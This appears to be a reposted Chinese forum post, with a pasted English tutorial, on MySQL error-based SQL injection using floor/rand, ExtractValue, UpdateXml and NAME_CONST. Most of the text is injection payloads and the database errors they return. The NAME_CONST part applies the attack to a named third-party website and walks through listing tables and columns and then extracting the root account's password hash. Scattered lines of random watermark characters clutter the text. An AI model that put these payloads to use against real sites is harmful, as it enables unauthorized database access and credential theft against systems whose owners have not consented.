mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
: g; a9 h+ {5 Z0 z& T5 N- Z: I' ^, e首先进行正常查询：

mysql> select * from article where id = 1;
3 B3 x. Q# {7 u, P/ k6 Y$ Q) Q: \" Y+—-+——-+———+
| id | title | content |
. K. w/ x& G6 Z$ ^& `- m8 N1 e+—-+——-+———+
|  1 | test  | do it   |
) j3 v* z* ^( `9 |" _+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
+ K( w( ]4 X9 {; m) N' S8 L: N6 oERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
" e, q$ i+ Q! V6 iERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
$ w, {3 A- H9 p' V; ^$ _% k( pERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
$ G. ]- y4 i6 G测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

' F2 o! b0 L3 }1 m( f

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

% ~$ V7 J* [( p5 C  EErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

+ v5 F9 D5 ~, T! M( phttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
' `  t2 K6 M  r$ G8 |, gIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息

3 w0 T' W; I' {) ]; O/ i+ XNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

. U% o' u8 B9 f6 zCode:
# x+ \4 _" X$ F$ V9 R# _6 t$ s9 m: iNAME_CONST(DATA, VALUE)
: l- {) y& P; M
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

$ S) H/ Z9 X! D7 d" ?6 `/ _/ lSELECT NAME_CONST('TEST', 1)



|---------------|
- U6 Q1 C1 ]0 Y, e4 Y& ~|     TEST      |
|               |
$ T3 M, S' K& s6 e|---------------|
6 x6 T) a) n" ]" H& L|       1       |
|               |
|---------------|
/ o0 D  _0 N( `7 m0 A



http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
$ I* H, H* m( U+ J" u# @
2 V5 [) G) S. {5 D  c7 X; [Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
6 ?  O% J% X9 H$ E+ ~. }http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
' M2 c! j# G4 s, d& p4 M& M




- r5 r' L6 i4 S, s( eCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

  X5 `! e3 q* Y7 k5 N7 R
5 T2 t# d7 y9 T6 j3 yVAR = Your MySQL variable.
) A- y* l$ [9 F7 R3 a  H# c
MySQL 5.1.3 Server System Variables
) Z+ |6 }" e3 T# I
5 i  p, S' B2 ^) c: yLet's try it out on my site..

* s9 u& O' O6 J" VCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

$ p$ @% B9 F+ u3 e/ P+ `" |$ [, ]4 i! ^Erroruplicate column name '5.0.27-community-nt'
, k  e0 H( V+ v: U9 r7 `
) O# U/ h& ~. x: F& {% _
) Q  T% A* \9 d* r- f& @2 S
- A' X' m7 z& m" D$ A
/ E4 Q$ r% S( W  i% z* t3 ~' @' Y: g
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

0 Q5 t2 t; V: C7 h4 @% L9 |Data Extraction

9 g! u* \" p  I( t' _- r- VCode:
4 M  V% j% |0 o# M+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

0 ]7 J7 ]; X# c  ?: k( K3 [0 \
We should get a duplicate column 1 error...

Code:
5 v$ m+ D2 L  V/ |6 O3 yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
) F) |5 S( E, y8 [0 c4 }
Erroruplicate column name '1

) Z9 Z' m/ Q0 `& g' d& ]6 Q
) [1 ~: K. h- ~% I" p
" x3 L3 ]6 p' S
. `, w) U6 f, X8 Q! b4 m
5 Y# N6 Y4 y1 o
+ d6 K$ i( }' g' c$ kNow let's get the tables out this bitch..

Code:
  g) u5 z, S* I& h) ?, e- U) P9 b+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
; v, t' s4 j1 y! ~9 s. X+ k
% A8 q% B3 W7 z3 n) Z7 |0 S; N
Let's see if it works here, if it does, we can go on and finish the job.

% _* q+ c4 }9 ?" r0 [: sCode:
9 U; q, I- u7 g) c# G7 Jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
8 p! a9 {0 J% I

Erroruplicate column name 'com_admanage






Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
2 G  T) L5 u# m
Let's get the columns out of the user table..
4 p  D1 ]% y( \$ I
% z2 r2 p" L7 @6 a; _Code:
  E9 `9 S4 J9 ?5 Q6 z6 F6 z+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
: C; u/ c" Q/ L9 S" T  U

So mine looks like this, and I get the duplicate column name 'Host'.
0 b& A7 c) z" u' l) u. R
Code:
6 U: c" v  t* @" [+ w$ t6 e, \http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

2 K# p2 [2 Q7 \$ e4 R2 ~0 u3 Z3 X- OErroruplicate column name 'Host'
6 `! G8 o. ~9 i5 q4 R
1 E9 F# P" {* E  B


  D$ g+ e& f) F" m" [: U( d
6 m) O8 x- G7 s" B
Woot, time to finish this bitch off.
) [3 ^" t" N( u/ C6 g. Y0 H
0 Z9 O4 N8 X' ?) q3 P4 [Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
; T+ q+ f; ~, n- P& k& A

So mine looks like this...
8 [1 `) E# H; B. j5 x
& E, O) {( M0 r+ P& r; Z( VCode:
) q5 F" S6 O7 o- E% z3 d9 |* \4 Chttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

7 @7 Q/ P" U, h9 j$ g9 m

8 A9 l3 W! h+ I+ J. I2 R+ U
. J; p; o- G3 m8 w" u

And there we have it, thanks for reading.

$ N9 d: @' O8 S; D5 k& d: j